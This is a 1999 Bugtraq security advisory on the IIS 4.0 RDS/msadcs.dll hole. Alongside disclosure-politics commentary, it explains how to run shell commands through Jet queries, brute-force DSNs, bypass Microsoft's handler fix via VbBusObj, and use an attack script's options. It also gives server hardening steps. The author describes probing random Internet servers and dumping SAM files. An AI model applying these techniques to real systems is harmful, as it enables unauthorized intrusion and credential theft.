From: .rain.forest.puppy. [rfp@WIRETRIP.NET] Sent: Friday, July 23, 1999 1:21 PM To: BUGTRAQ@SECURITYFOCUS.COM Subject: Alert: RDS IIS vulnerability/fix #### ALERT! #### RDS/IIS 4.0 Vulnerability and Script #### ALERT! #### By rain forest puppy / ADM / Wiretrip "it...is direct, immediate, and almost 100% guaranteed to work....THE NUMBER OF HUGE SITES THAT ARE VULNERABLE IS RIDICULOUS!" -Russ Cooper, NTBugtraq "This exploit also does *not* require the presence of any sample web applications or example code...the issue affects at least 50% of the IIS servers I have seen" -Greg Gonzalez, NTBugtraq "Groovy, baby." -Austin Powers, Spy who Shagged Me - - - Table of Contents: 1. Names, PRs and the Media: State of Security Advisories 2. RDS Vulnerability Background 3. *MY* Guess at Greg's RDS Vulnerability 4. Bonus Aspects of My Script 5. More Bonus Features 6. How to Secure Your Server 7. Command Line Options 8. Random Q & A 9. Signoff 10. The code!!!! - 1 - Names, PRs and the Media: State of Security Advisories When I was at DefCon, I had an interview with a reporter who was doing a story on 'hacker handles'. Of course, with a handle like Rain Forest Puppy, I was a sure-win. After a 20 minute chat, the last question he asked me was "What is your real name?" Of course, my response was "does that matter?" Well, to him it did. It seems like it matters to all the big, formal media types and vendors. A perfect example of this would be the whole RDS saga. Greg Gonzalez's original post gave me credit, since he used some of what I talked about in my ODBC advisory posted to Bugtraq earlier (thanks, Greg!). Russ Cooper did a recap, but failed to mention me. Microsoft's advisory acknowledged Russ and Greg as well, sans me. Now, I'm not an egomaniac that needs to see my name splashed over everything. For that matter, those of you who know me personally know how laid back I am concerning most issues. The point I'm trying to make is whether or not a name is 'unsuitable' for mention in something as flashy as a Russ or MS post (although side note, I must admit, Wired and ZDNet have lightened up to this fact, especially lately with all the Dildog and Orifice talk going on). If I remember correctly, David Litchfield got some mentions for various vulnerability findings he had. But everyone referenced him as David Litchfield, not 'Mnemonix', which is his hacker handle (BTW, greetings to Mnemonix. Thanks for serving as an example. :) Even lately, for those of you Bugtraq fans out there (hey, how the hell are you reading this, anyway!?!?!), you'll have noticed gone are the loveable bytes of 'Aleph1' in place of Elias Levy. Now, in Aleph1's defense, I can see justification of the shift. But the general fact that there is a need/trend for a shift is concerning me. The only taboo I can think of for the 'evil' of a hacker handle is the issue of the obvious: anonymity. Apparently I must be running around doing 'very bad things' (funny movie, BTW), and so I need to hide who I really am, right? Uh, no. (For lack of a snappy comeback) I don't want to make this diatribe overly long, since I know you're only here for the exploits anyway :) But seriously, why use a handle? Well, there is a sense of tradition, for one. I shall not explain, because I think it's apparent. The other is a sense of community. If you're going to engage in a security discussion, why not do it with other security professionals. And where can you just so happen to find a large gaggle of people who know about security? Your local IRC server, sitting in #hackphreak (watch out, JP logs), #hackteach, etc. These people have nicknames themselves. So get yourself a nick and join in the conversation! But really, I use an alias. Does that make me evil? If I told you my real name, would that shift your perspective of me into the light of good? We'll get back to this, I want to transgress to another issue. I use a handle. My only collateral at this point is my name, and my name alone. If I find a big hole, post a research paper, etc, it adds nothing but perhaps an "atta'boy" to the accomplishments of my nickname. I've talked to people in real life and held discussions about that 'Rain Forest Puppy' guy, they not knowing I was Rain Forest Puppy. The accomplishments belong to that name, and that name alone...unless I start equating that name with other things. So, let's pretend I did. Let's say I tossed my real name out there, and got that associated with my handle. Now people in real life will equate the findings of Rain Forest Puppy to me. I can add in my company name. Now my company can ride the 'success' (if you will) of my findings as well, just because they're associated with my name. (Come on, you know these situations exist. Transmeta is cool just because the name 'Linus' is involved.) If I equate all kinds of aspects together, I can then distribute the attention (a.k.a. advertising) to them all as well. Think about it....if I found the next remote root compromise in, say, sshd, I could slap not only my handle and name but also my company name (Amazonian Trees, Inc) all over it! Wow, would that not be great marketing for Amazonian Trees, Inc, especially if it ATI's primary service was security related! But hey, it's America. We live to make money, so it seems. So why not do this? Right? Well, 'tis also the trend. Look at all the press releases on security issues. The most recent one was by Greg Gonzalez himself, for his company Information Technologies Enterprises, Inc. The press release is at http://www.infotechent.net/itenews.htm Now, what I find interesting is that Greg has made a post to NTBugtraq about the RDS vulnerability, yet will not release details of the vulnerability until next week. Hmmm. Ok, so he can't release details, but he can release press releases about it. Your point was made with the post to NTBugtraq...the point of the press release is to ride the fame to gain corporate exposure (which I'm equating as an excessive, corporate, political machine type move which isn't all that wonderful). Not to pick on Greg, because it's the trend. Look at WebTrends. They issued a press release on 'their finding of security vulnerabilities in IIS sample scripts' (never mind the fact that I had talked about such in a previous Phrack article last December). The press release is at http://www.webtrends.com/news/releases/release.asp?id=81 Wow, a vendor of a security scanner using the finding of vulnerabilities as free marketing for their products. Well, do it where you can, right? I will move off this subject, because L0pht has a nice long composition on the matter in the Soapbox on their website, at http://www.l0pht.com/~oblivion/soapbox/index.html One interesting statement L0pht makes, going back to Greg Gonzalez and Russ Cooper keeping the details of the RDS vulnerability to themselves for a week: "Now we have software vendors keeping things secret. At least secret for a substantial period of time. Is this the way we want the industry to behave?" Wow, right on, brothers Mudge, Dildog, Weld Pond et al. Greetings, BTW. ---- Credits and Thank Yous ---------------------------------------------- I'd like to take this brief moment to say thank you to L0pht (www.l0pht.com) for helping me test my perl script and taking time to review my advisory. I'd also like to thank Vacuum of www.technotronic.com and Mike Dinowitz of www.houseoffusion.com for their input and testing as well. -------------------------------------------------------------------------- So back to the 'only a handle' thing. You have to understand that I have a different perspective on it all. I publish everything under an anonymous handle. What do I gain from this? Nothing personally. Nadda. Zip. The handle itself may gain some fame, but not me personally. I do not profit from this one way or another. What I do I do because I want to, on my free time--and do it in a manner that is not greedy in any aspect. I don't seek to gain, and in the current setup, I really can't gain a whole hell of a lot. But I'm the bad guy, I forgot. It's much more normal to leverage a security vulnerability as a marketing tool than it is to just 'give' time and research away. Wow, I need to get with the Y2K I guess. Fine then. (Last tangent, then we'll get to the RDS issue, I promise :) So, going back to you seeing me in the light of good.... Could you better relate if you had a 'normal' name? Are you embarrassed to say/use 'Rain Forest Puppy' in conversation/publication? (Well, I mean this generically for all hacker handles, but I'm specifically talking about mine here) Would I be seen as more a security resource/less of a evil hacker if you had a name to associate with my handle? Well, I guess I should make that step. From now on, you can associate Mr. Russell F. Prigogine with the nick Rain Forest Puppy (Hmmm...no, the initials are not mere coincidence...clever, eh?). But since the big 'Russ' on campus is Russ Cooper, NTBugtraq moderator extraordinaire (who believes sample apps are not a security concern worth talking about. Real slick, Russ), I would prefer to have be used Mr. R.F. Prigogine (Mr. optional), if you can't--or don't want to--use the nick Rain Forest Puppy. So there. (As some would say) I sold out (oh, the horror of it). JP, add that to your profile database. While I gather the broken pieces of my dignity we'll move along to what you really want... - 2 - RDS Vulnerability Background Last Friday Greg Gonzalez (re)posted his findings of vulnerabilities in regards to the RDS problems originally detailed in MS98-004, which came out around July 16, '98. He took that issue (which is basically the simple fact that 'Remote Data Service' components allow *remote* access to your *data*....who would have thought?) and combined it with the Jet pipe/VBA delimiter 'feature' I discussed in my recent advisory. The result? 1. You can make remote queries via RDS 2. You can embed NT command line commands in queries Well, that's a pretty good combo. (side note, not to brag or anything, but I mention the fact that RDS can be used to do that in my ODBC advisory, under the title 'Msadc'). But, Greg threw in a twist which supposedly is the kicker: 3. You don't need user IDs (and therefore no password required), does *not* require the presence of any sample Web applications or example code, or even an active database I suppose that's a pretty big kick. Wow, no UIDs/passwords, NO SAMPLE SCRIPTS! Well, I guess that means Russ Cooper will let the post through then... (if you don't get it, go back and re-read section one). So Greg can do all that. And, to reiterate how dangerous this problem really is... "it...is direct, immediate, and almost 100% guaranteed to work....THE NUMBER OF HUGE SITES THAT ARE VULNERABLE IS RIDICULOUS!" -Russ Cooper, NTBugtraq "This exploit also does *not* require the presence of any sample web applications or example code...the issue affects at least 50% of the IIS servers I have seen" -Greg Gonzalez, NTBugtraq *** MEDIA FOLKS *** As it seems it's fun to attach dollar loss amounts advisories, I will say the potential amount of damage, due to the fact that at least 50% of all IIS servers Greg has seen (hopefully he's seen a lot) are vulnerable, using my sophisticated reliable statistical computation method that is authoritative, I'd place damage loss somewhere in the 'close to Bill Gates salary(tm)' range. Now, the sad part. As I mentioned before, both Greg and Russ (from this point on, all instances of 'Russ' refer to Russ Cooper, and not the name R. F. Prigogine) both know the details of this vulnerability. And yet they are keeping them amongst themselves until next week. Does this even disturb anyone? Greg says at least 50% of the IIS servers are vulnerable... DO WE WANT RUSS COOPER WITH THE KEYS TO 50% OF IIS SERVER ON THE INTERNET? Ok, I have a scenario that's the same in principle, but will disturb people even more: ---- Begin same scenario ------------------------------------------------ Rain Forest Puppy (or R. F. Prigogine, if it makes you feel better/is more visually pleasing) has found a hole in the latest build of Apache web server. There's a hole. I will announce there's a hole. I'll write up a few PRs as well. But I will not tell you the exact nature of it. Don't worry, Apache group will code a fix, and you'll be all set in a jiffy. In the meantime, I'm not going to release the details of the exploit of the hole. Instead I'm going to just keep it to myself....and my good buddies Vacuum, Antilove, Stranger, and the rest of the Wiretrip and ADM crews. ------------------------------------------------------------------------- Hmmm....I bet *that* disturbed you. How about a better translation: ---- Begin translated same scenario ------------------------------------- I, RFP, have found a hole in Apache that I will not tell you about until later, but in the meantime, me and my hacker buddies will know about it! Nnnnnnaaaaaaayyyyyyaaaaahhhhhh! So sit back and feel helpless. ------------------------------------------------------------------------- What's the difference? Only the integrity of the people involved. Again, a name thing perhaps. Russ Cooper, Greg Gonzalez, they're Ok. Rain Forest Puppy, Antilove, nope, that's scary. You don't even know if Greg Gonzalez isn't really a hacker that goes by 'Digital Killer'. I push for the point that no matter who it is in any case, it's wrong. Elias Levy would have told everyone the bug. :) NTBugtraq = moderated disclosure. Hmmm. I still like Russ's "Would you pay?" Administrivia from Feb 99, in which he says: "Someone else makes the Security Portal and you get what they think you need" As oppose to getting what Russ thinks we need instead? It all depends on whether or not the other guy denies posts about sample scripts....(if you *still* don't get it, re-read section one AGAIN). Ok, ok, so that RDS background turned more into a political thing. Well, that's because it is. At this point, Russ and Greg are have the keys to IIS servers. I don't know about you, but I'm not liking it. So I'm getting off my ass and doing something. Besides the fact that this is all published stuff at this point. Also, I may be considered 'irresponsible' for posting the exploit. Now, I would say *maybe* it would be debatable if I had posted *only* the exploit. But I have posted not only a very long diatribe, but also my guess of the vulnerability, which includes examples of analysis and theory. I also detailed out how to secure your server, from this hole in particular as well as other security problems in general. My hopes are to educate people on what the problem is, and how I went about finding it so that they can perhaps learn how to do it themselves. Education. It's the key, and that's what I'm trying to do. No, no vendor education...ADMIN education. USER education. I know I will probably be futile as a whole in the end, but maybe a few people will learn something, and that's all that matters to me. - 3 - *MY* Guess at Greg's RDS Vulnerability (I say 'guess' because I may not be right. But in any event, I wouldn't be writing all this unless I found something moderately interesting ;) Ok, so Greg's RDS vulnerability has three main aspects: 1. You only need RDSServer.DataFactory component 2. It uses Jet queries with my embedded VBA via pipes trick 3. You don't need userIDs (and therefore no password required), does *not* require the presence of any sample Web applications or example code, or even an active database Now, for those of you who don't know, RDS is basically a way to do remote data queries to a server. This is done over the web. Basically your client app communicates via HTTP to the /msadc/msadcs.dll on your server. The msadcs.dll exposes the RDSServer.DataFactory object, or better known as the AdvancedDataFactory. Now AdvancedDataFactory only has four methods, so we're kind of limited on what we can do. We can CreateRecordSet, Query, SubmitChanges, and ConvertToString. Query and SubmitChanges require a valid database to work upon. The other two are just data mangling functions. So there you have it, that's what we have to work with. I played with CreateRecordSet and ConvertToString. This actually relays data from the client, to the server, and back. My hopes was that somewhere in there I could slip one of my pipe-VBA-shells in there and do fun stuff. But nope, all they did was regurgitate the data in a different flavor. Oh well. SubmitChanges just basically does an elaborate UPDATE/INSERT, where it just syncs the server's database with the client's recordset. So that leaves Query. Well Query lets us run queries against an (existing) database. And we know we can embed our pipe-VBA-shells in queries, so Query looks good. But this is nothing spectacular. And there is one catch: the need for an existing database. We need to pass a DSN to the ActiveDataFactory to actually run the query on. The problem with the DSN is that: 1. DSNs can require UIDs and passwords 2. There's no way to get a list of available DSNs (** through RDSServer.DataFactory functions, that I'm aware of **) 3. I'd say a DSN constitutes an 'active' database So DSNs blow away point 3 of our known things about Greg's RDS vulnerability. What if we can get around using DSNs? Well, we can. See, you can go the easy route by specifying "DSN=rfp", and then the server keeps all the internal information about that DSN, including driver, actually database file location (if it's a file-based driver), UID, password, connection parameters, etc. Well, what's fun is that we can directly give all that stuff in the query setup instead of a DSN. Let's say we setup a DSN named 'rfp' (for Rain Forest Puppy or R. F. Prigogine). We will use these parameters: DSN name 'rfp' Microsoft Access (Jet) driver c:\rfp.mdb for our database UID will be 'rfp' password will be 'prigogine' So by invoking "DSN=rfp", the server knows to use the Access driver on the c:\rfp.mdb file. DSNs are a nice tight way to precompose all that information. Or we can do it on the fly. Rather than issuing a "DSN=rfp" connect string, I can use instead: "driver={Microsoft Access Driver (*.mdb)}; dbq=c:\rfp.mdb;" This will still invoke the Access (Jet) driver, and tell it to directly use c:\rfp.mdb. No UID. No password. No even worrying about if/what DSNs exist. In the words of Cartman, "Sweet". That whacks out part of known point #3 (no UID or password). We're going to use the RDSServer.DataFactory control (known point #1), and we're going to use the Access driver, with fun pipe-VBA-shell features (known point #2). We're not using any other web sample scripts, so that cuts out another portion of known point #3. Oh, we're so close...can you taste it? (and what does it taste like? chicken?) There's still one minor detail. Notice we have to specify the 'dbq=' parameter in the connection setup. And this needs to be a valid file. If it's not, the SQL engine on the server side will fail and return errors before it even gets around to looking at our queries. But damn, we need an .mdb file to connect to. Well, if you look in the Access ODBC reference on Microsoft's website (which sucks, half the links were broken at various moments through the night while sifting through it...go MS. I don't blame you though--you probably engineered your site/servers with Microsoft products, and that explains it right there) you will see that you can pass a CREATE_DB parameter to the Access driver. This will cause the driver to construct a valid (empty) .mdb file. Woohoo! (not to be confused with w00w00; the former is an expression of joy, the latter is a cool group of guys that I had the fortune of hanging out with at DefCon) So in our connection setup we pass a "CREATE_DB=c:\rfp.mdb" attribute with everything else and low and behold, it...... ----- Some words about my sponsors --------------------------------------- -- www.technotronic.com Technotronic! Great place! Run by fellow Wiretrip'er Vacuum, who is also a co-founder of Rhino9 (before Rhino9 'disbanded'; Neon, Horizon, Xaph: come back to the US!), boasting a slick HTML design recently redone by yours truly (Rain Forest Puppy/R. F. Prigogine), it's definitely a good site for the latest security information--especially while PacketStorm is struggling to get back on its feet (thanks, JP. Now die. What, you're sueing me now?!?) While you're there, be sure to check out: * Winfingerprint! -- coded by Vacuum, this tool lets you remotely query a windows box and see if it's a PDC, BDC, Member server, SQL server, etc. Also look for the Unix port of it by me sometime soon (after I finish all this RDS stuff) * Horizon's Page! -- that's right. Elite HTML coded by Humble himself. Problem was he didn't know where to put the shell code...? J/K :) The URL is /horizon/ * Newest R9 Tools! -- coming soon. Before 3/4ths of Rhino9 moved to Germany, there was one last code fest, and some fun binaries came out of it. Look for them soon! Technotronic also has the R9 mirror at rhino9.technotronic.com -- www.l0pht.com L - zero - p - h - t Everybody knows L0pht (even senators!) A very active 'independant security (watchdog) group' who include Dr. Mudge & Dildog (BO2K creator). While you're there, be sure to check out: * L0phtcrack! -- one of the best NT password crackers out there! This will prove highly useful if you use my script do dump the SAM and grab the backup (not that I encourage hacking...I've done this many times in LEGIT contracted audits). It's a personal tool I've standarized on. * Advisories! -- L0pht releases a very nice variety of advisories, from Windows DLL problems and Cold Fusion script problems to Unix race conditions and symlink vulnerabilities. * NFR Modules! -- they've teamed up with NFR to be the supplier of many interesting N-code/NFR modules. They have a nice selection for your popular network attacks. ** plus I must note that the Palm Pilot stuff, Soapbox, and BBS are pretty awesome as well! -- www.houseoffusion.com A great independant Cold Fusion site! The site of a great friend of mine, Mike Dinowitz, who is my 'go to' man for all things Cold Fusion and has helped me out immensely with various Cold Fusion language issues (read: helped me work through some of the various Cold Fusion exploits that have surfaced). He does offer training for Cold Fusion...see 'Training Info' under ''. He co-authored "Advanced Cold Fusion 4.0 Application Development" and "Cold Fusion Web Application Construction Kit" vols 2 and 3, and was the founding member of Team Allaire. Plus, he's an all-around good guy(tm). Also an editor of CF Advisor, at www.cfadvisor.com. While you're there, be sure to check out: * MunchkinLAN! -- a CF based web scanner, which is actually very minimal code and runs out of an Access db. * Mike's Mods! -- many modifications to the Cold Fusion Forums scripts, which include speed/operation improvements. * CF-Talk! -- Mike is the moderator/owner of the CF-Talk list, which is a high traffic list discussing Cold Fusion related development issues, security, etc. -- Thanks again to all of the above! ------------------------------------------------------------------------- ...didn't work. Damn. The problem was that it was passing the CREATE_DB parameter during the SQLDriverConnect() phase, and that just isn't going to cut it. We need to issue a SQLConfigDataSource() call (I think that was it...my mind is a mush of ODBC/SQL/RDS/ADO/OLEDB/FMP API right now) to get CREATE_DB to do it's thing, and RDSServer.DataFactory.Query just wasn't going to give us love. So, after struggling with other nuances and ideas, I concluded that I couldn't make a DSN, or a .mdb from scratch using Access SQL via RDSServer.DataFactory without connecting to a database/.mdb beforehand. (**NOTE: if you know how this can be done, EMAIL ME! I WILL TRADE YOU 0DAY! :) rfp@wiretrip.net ) Well damn, so we need a database to make this work. Any 'ol database will do (hell, even the WINS or DHCP .mdb should work >:). But unfortunately, none come by default on a standard NT install. Bummer. But wait....all is not lost.... It seems when you do a 'typical' or better install with Option Pack 4, a particular .mdb is installed...namely the btcustmr.mdb which is installed to %systemroot%\help\iis\htm\tutorial\. Microsoft saves the day! They're just so damn efficient at helping us hack their own product... To get IIS 4.0 you practically need to install Option Pack 4, which will also then install MDAC 1.5--this is good. Let's just hope they didn't pick the 'minimal' install... The last catch is that we need to figure out what %systemroot%. On the majority of the systems it will probably be c:\winnt, d:\winnt, e:\winnt, or f:\winnt (don't laugh, mine is f:). I guess some wacko might do \win, \windows, \nt, and if you upgrade it may be \winnt351 or \winnt35. Well, we can do a little 'brute force' on all those combinations until one works. Oh, and no, you can't do "dbq=%systemroot%\help\iis\htm\tutorial\btcustmr.mdb"...the SQL driver pukes. So that's my guess! Mr. Gonzalez is using a connection string similar to "driver={Microsoft Access Driver (*.mdb)}; dbq=c:\winnt\help\iis\htm\tutorial\btcustmr.mdb;" with a query that contains one of the pipe-VBA-shell commands. Now, I think this technically meets all the known points of the exploit--the only fuzzy one is where Greg mentions "no need of an *active* database". Now, I may be reading into it, but btcustmr.mdb is hardly active. It's a totally unused .mdb sitting in a directory most people probably didn't know existed. Just to double check, I did a quick little test...and six of the ten servers I picked off the Internet were susceptible to this method. That'd a tad better than Greg's 50%, but I had a small population sample, so I'll give him the benefit of the doubt. Now, I obviously could be wrong. Maybe Greg found a way to create the .mdb, or some other way where he doesn't need to rely on the existence of btcustmr.mdb. I'm not claiming to be a SQL/database wiz--actually, I hate database applications. Period. They're gross. But I put up with it for the better good of the Internet. :) But yes, I could be wrong, and I'm willing to admit it. Let me also mention the contenders. They were contenders, but definitely did not make the final round because as much as the 'look' and 'smelled' exploitable, I couldn't get them to crack: 1. Data Shape Provider. This already has hooks into the VBA interpreter ( you can put VBA commands in the CALC() function--except it lacks shell()), and is a primary suspect in my eyes. The bonus is that you do *not* need any database files to use this. Well, barring the fact that I really don't know what I'm doing, I played around with it trying to feed some pipe-VBA-shells to it and whatnot, but couldn't get anything interesting to happen. Now, this is installed by default, has VBA hooks already, doesn't need a database, etc. I say this fits the description more that the btcustmr.mdb thing. And it's just all together 'cooler'. 2. Index Server Provider. Now, not all places use Index Server, so I highly doubted this was the route, but it is a contender. Again, you don't need a database file, so that's a bonus. I tried the usual pipe-VBA-shell commands, but no go either. If I really had to choose, I'd say the exploit was in the Data Shape Provider (which Microsoft also warned of in the advisory). But since I couldn't get it to give me love, I went with btcustmr.mdb. - 4 - Bonus Aspects of My Script So, yes, I could be wrong. But I figure why not just feature pack this script to *really* kick some ass? Well, so, I wasted a few brains cells (the things I do for you people...jeez) and thought of some good things to toss into the code. I figure hey, might as well make this a useful tool! The first one is pretty obvious. There are many applications on the market, that would be used on a server, that would make/require a DSN. For instance Cold Fusion creates a few DSNs, as does iHTML. Some of the sample apps that come with IIS create DSNs as well, and the MDAC makes a few too. All these potential DSNs. Remember, it only takes one DSN to work. So if we wanted to, we could scan to see if any of a number of default DSNs exist, and if they do, use them. An extension of this would be user created DSNs. Again, all we need is the DSN name, so we can scan for what are 'psychologically' common DSN names. For instance test, web, data, database, www, db, and sql are common type DSN names. Basically, if you supply a dictionary file of DSN names you want to use, the script will sit there and brute force, a la a remote password cracker on the DSN names. Of course, we'd need DSNs with the Access Driver. But what's nice is that if we connect to a valid DSN with an invalid SQL query, we'll get back the name of the driver in the error message. So it's a nice way to check. Then we can also do an inverse type thing--instead of looking for common DSNs to connect to, we can look for common .mdbs to connect to. For instance MS Cert Server, DHCP, and WINS all use .mdbs, as well as particular sample scripts, SDKs, etc. We can just try to connect to them directly. If we find one, rather than dealing with the table information within the .mdb, we can just CREATE TABLE on it first, and then use the table we just created. Very simple. Another interesting feature is dumping the root scope paths from Index Server. Basically it's a query of "Select paths from scope()". This is useful because it can provide us with useful directory information...since one of the tricky problems is determining location of html files and systemroot (although they're most likely guessable, that's not always the case). So I tossed this in for kicks, although it doesn't run 'inline' with the actually DSN/.mdb checks. You invoke this functionality separately. The last extra functionality, but the easiest of them all, is to see if /scripts/tools/makedsn.exe exists on the webserver. If it does, we can make a DSN and define the .mdb file to use, and then use it right away. In my particular script I make a DSN named 'wicca'. (Greetings to Simple Nomad! I wish you could have been around at DefCon. Next time.) So, wow. Lots of ways to get a database connection. My RDS script tries them in the following order, continuing until successful: - try raw driver connect to btcustmr.mdb - try to create a DSN with /scripts/tools/makedsn.exe - look for common DSNs - look for common .mdbs - try 'dictionary' attack on user DSNs And separately you can query Index Server to get the paths information (Warning: this could be a lot of information! The script automatically sorts out common directories). ----- Campaign solicitation -------------------------------------------- XOR!! The unofficial AES candidate! There are many reasons why you should support XOR: 1. It's mad fast! 2. It can be implemented in very little code 3. It will run with decent performance even on the meekest of Casio watches 4. The ciphertext doesn't look like the plaintext--this is good. 5. Stream, block, chained, unchained, XOR does it all! 6. So many companies already use it as their encryption algo of choice! So join the 'AES XOR y2k == 8w8' campaign today! ------------------------------------------------------------------------ One interesting feature that's almost necessary is a 'resume' mode. Imagine you just scanned a webserver, spending the last 5 minutes trying all the combinations of valid default .mdbs, valid DSNs, etc. Finally it cracks and you get one, and you run your command. Well, what if you want to run another command? Do you have to go through that rigmarole again? Well, not with my script. :) When you make a successful connection, it writes out a file called 'rds.save'. Then, you can just use the 'resume' switch (-R), with no other options. It will read in rds.save, and let you run a command against the successful connection again right away. - 5 - More Bonus Features Well so far, I haven't really provided anything really original. I'm all for originality. So I racked my brain. I poured through all of Microsoft's ADO/OLEDB/RDS/ODBC documentation. I read their advisory. I disassembled billions of .dlls. And then inspiration struck. You see, MDAC 1.5 installs *three* objects by default. RDSServer.DataFactory, which we've discussed before. AdvancedDataFactory, which is really an alias to RDSServer.DataFactory. But there's also one called VbBusObj.VbBusObjCls. This is really an example of a middle-tier business object of the possible three-tier RDS model. It implements four functions: Test, GetMachineName, ExecuteSQL, and GetRecordSet. Test does nothing for us. GetMachineName is fun just because it returns the machines NetBIOS name, which is useful in many cases. So I tossed it in. You invoke it with the -N switch. Now ExecuteSQL and GetRecordSet do basically the same thing, run a SQL query. The difference is ExecuteSQL just returns how many records we affected, while GetRecordSet returns the records as actual data. I chose to use GetRecordSet because it integrated better with the rest of the code, since it's return was strikingly familiar to the output from the RDSServer.DataFactory control. This is not a big deal, other than a bandwidth issue, but we're not talking more than a few K of data here anyway. I know you're probably thinking 'uh, so what. There's another way to do the same thing. I mean the GetMachineName thing is cool, but not all that much special'. Well, no. Your wrong. And let me tell you why. Starting with MDAC 2.0 you can define custom handlers. Basically, rather than RDSServer.DataFactory going straight to the database driver, it takes a side trip through a handler. This is the fix Microsoft mentioned in their security advisory at http://www.microsoft.com/security/bulletins/ms99-025.asp They recommend you switch the following registry entry [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\DataFactory\HandlerInfo] "handlerRequired"=dword:00000001 "DefaultHandler"="MSDFMAP.Handler" which tells RDSServer.DataFactory that RDS *must* use a handler, and that the default handler is MSDFMAP.Handler. Then you can use msdfmap.ini to specify options for denying certain connections, etc. Microsoft even supplies HANDSAFE.EXE, which auto-extracts to a .reg file that sets the above registry keys, plus a list of safe handlers. So if you need RDS, the preferred upgrade route from MDAC 1.5 is to install the latest MDAC 2.x, and then run HANDSAFE.EXE to make sure to limit outside queries by using handlers, which are controlled. Well, all this fun handler crud is implemented in RDSServer.DataFactory. So we're kinda screwed when we run RDSServer.DataFactory.Query (as we should be, as this is the fix). Well, guess what. VbBusObj.VbBusObjCls doesn't care about handlers. We just effectively bypassed the handler thing. Wait, let me spell it out for you: THE MICROSOFT CUSTOM HANDLER FIX DOES NOT PREVENT THIS. WE CAN STILL RUN QUERIES. HANDSAFE.EXE/CUSTOM HANDLERS (THE RECOMMENDED MICROSOFT FIX) DOES NOT PROTECT AGAINST THIS. Wow. So we just use VbBusObj.VbBusObjCls instead of RDSServer.DataFactory. Simple enough. I think this is definately a worthwhile feature. You can cause the script to use VbBusObj by specifying the -V option. But I will admit: VbBusObj.VbBusObjCls is not always installed. So this is not always the case. But it's a case, none-the-less. NOTE: When using VbBusObj, I suggest you use -N *FIRST*. If you get a valid NetBIOS name back, VbBusObj exists. If you use -V without verifying VbBusObj exists, and in fact it doesn't exist, the script/connection will HANG! So just humor me first and use -N first to see if -V is a valid option. I could have automated it, but then again, why should I allow you to be lazy? Now Microsoft does make some other mentions of just disabling RDS all together. While this will work, unfortunately, RDS exists for a reason, and many people are using it legitimately. That means there are people who can't disable it because they use it. So what to do? - 6 - How to Secure Your Server Ok, I've talked so much on how to break this stuff. How about helping fix the matter? Well sure. Basically we have to situations: those who need RDS, and those who don't. I shall address both. Those who need RDS: I agree with Microsoft--custom handlers are the way to go. Unfortunately, there's that pesky VbBusObj to deal with. This is actually not that hard. You need to delete the VbBusObj references. Simply delete the following registry key HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/ W3SVC/Parameters/ADCLaunch/VbBusObj.VbBusObjCls (line broken for clarity) For peace of mind you can also delete vbbusobj.dll, which is installed at (pending root drives) c:\program files\common files\system\msadc\samples\selector\ middle_tier\vbbusobj\vbbusobj.dll (again, line broken for clarity) That should be it. Now, you'll need to read about custom handler creation, and cooperate with the DBAs at your location to come up with a suitable, yet secure handler definition. Those who don't need RDS: I would still upgrade your MDAC and run HANDSAFE.EXE just in case. But you can basically prevent people from using RDS remotely by removing the /msadc/ virtual root. You can do this in MMC or via the IIS Administration HTML interface. For everybody: While we're digging around IIS, let's do a little cleaning up, shall we? Let's start off with ODBC. Open up Control Panel, and go into ODBC. Look at the DSNs defined under User, System, and File. You should delete any DSNs you do not use, especially sample/default DSNs, such as 'pubs', 'advworks', 'adctest', etc. You should fully research the need for any particular DSN you use. And personally, I would suggest when in doubt, record the configuration information and then remove it. Recording the information is important in case you have to put it back. Now, under ODBC Drivers, again, you should remove any drivers you do not use. Having 'SQL Server' means people could potentially proxy off your machine to another SQL server. The 'Microsoft Text Driver' should definately be deleted. The more you delete, the safer you are. Let's now pop over to IIS. Pull up MMC or the adminstrative web interface. Follow down the tree branches until you get to Default Web Site (or whatever your website might be). Examine which virtual directories you have mounted into your site. You should research the uses of these as well, deleting when in doubt (record the 'Properties' information first just in case). Virtual directories I suggest deleting (if you have them): IISSamples This are the sample pages shipped with IIS--and contain a few bugs IISHelp you can remove this. It's HTML help reference. IISadmpwd this is an IIS util for users to change their passwords via IIS. Unfortunately it contains a few bugs. I suggest you remove it. Msadc mentioned above, remove if you don't need RDS If you have Cold Fusion installed, you'll also have CFdocs. I suggest you remove it, as it contains a horde of exploitable sample scripts. On to the last check, which are physical files. I'm going to assume the web directory is c:\inetpub. Adjust accordingly. I suggest checking the following: -- c:\inetpub\scripts\tools This contains by default a few tools to make DSNs. I suggest you delete everything in this directory. Or, if you're worried about deleting it, than MOVE it out of the directory, and into one that's *NOT* available through your web server -- c:\inetpub\scripts\samples Samples. Need I say more? Delete or move them. Contians scripts that are known to be exploitable (see my ODBC advisory) -- c:\inetpub\scripts\iisadmin This is the IIS 3.0 administration interface. IIS 4.0 uses something different. Delete or move everything. Again, contains exploitable sample scripts. -- c:\inetpub\iissamples\ This contains the ExAir sample site, typically the SDK, and other fun goodies. But they're samples. Delete or move the whole directory. Contains exploitable sample scripts. That should lock you down a lot more than the average IIS install. Unfortunately every location is different, so I can't guarantee you're secure now. But you're 'less unsecure'. :) - 7 - Command Line Options To run the program, just save this whole advisory to a file, such as msadc.pl. Then run "perl -x msadc.pl". Perl is smart and will figure out how to run the script at the end. No need to cut and paste. :) Ok, the command switches are as follows: -h this is the host to scan. You MUST either use either -h or -R. -d this is the delay between connections. Value is in number of seconds. I added this because hammering the RDS components caused the server to occasionally stop responding :) Defaults to 1. Use -d 0 to disable. -V Use VbBusObj instead of DataFactory to run the queries. NOTE: please read the -N information below as to suggestions for checking if VbBusObj exists. VbBusObj does not give good error reporting; therefore it is quite possible to have false positives (and false negatives). Consider VbBusObj support 3 stages before beta. Don't say I didn't warn you. -v verbose. This will print the ODBC error information. Really only for troubleshooting purposes. -e external dictionary file to use on step 5--the 'DSN dictionary guess' stage. The file should just be plaintext, one DSN name per line file with all the DSN names you want to try. Quite honestly a normal dictionary file won't do you much good. You can probably do pretty damn well with a few dozen or two good ones, like 'www', 'data', 'database', 'sql', etc. -R resume. You can still specify -v or -d with -R. This will cause the script to read in rds.save and execute the command on the last valid connection. -N Use VbBusObj to try to get the machine's NetBIOS name. It may return no name if the VbBusObj is unavailable. I suggest you use -N to see if VbBusObj exists (a NetBIOS name will be returned if so) before you use -V. -X perform an Index Server table dump instead. None of the other switches really apply here, other than -v (although -d still works, there's no need to slow down one query). This dumps the root paths from Index Server, which can be rather lengthy. I suggest you pipe the output into a file. Also, if there is a lot 